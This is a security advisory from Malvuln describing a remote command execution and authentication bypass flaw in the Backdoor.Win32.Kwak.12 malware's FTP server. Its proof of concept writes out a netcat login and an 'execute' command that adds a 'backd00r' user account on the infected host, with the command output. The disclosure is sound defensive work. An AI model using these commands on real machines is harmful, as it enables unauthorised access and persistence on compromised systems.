Backdoor.Win32.Kwak.12 / Remote Command Execution

us malvuln (US) us
Risk: Medium
Local: No
Remote: Yes

Discovery / credits: Malvuln - (c) 2021 Original source: Contact: Media: Threat: Backdoor.Win32.Kwak.12 Vulnerability: Remote Command Execution Description: The backdoor runs an FTP server that listens on TCP port 37885. The malware is packed using UPX which is trivial to unpack by using upx -d command, after observe various FTP commands supported using strings util, we find one interesting string entry named "execute". Turns out this will let us execute any command on the infected machine. Third-party adversaries can add a persistent backdoor account on the infected system or run any command they wish. This is easily accomplished as the malware also suffers from a authentication bypass issue reference MVID-2021-0147. execute cmd /c net user backd00r abc123 /add 226 Executing... On the infected host. net user User accounts for \\DESKTOP-2X3IHHP ------------------------------------------------------------------------------- Administrator backd00r DefaultAccount Type: PE32 MD5: c25393545e5ead3a35996ef9a887bd34 Vuln ID: MVID-2021-0149 Dropped files: Disclosure: 03/25/2021 Exploit/PoC: nc64.exe x.x.x.x 37885 USER malvuln 331 Password required for malvuln. PASS root 230 User malvuln logged in. execute cmd /c net user backd00r abc123 /add 226 Executing... Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) (TM).

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021,


Back to Top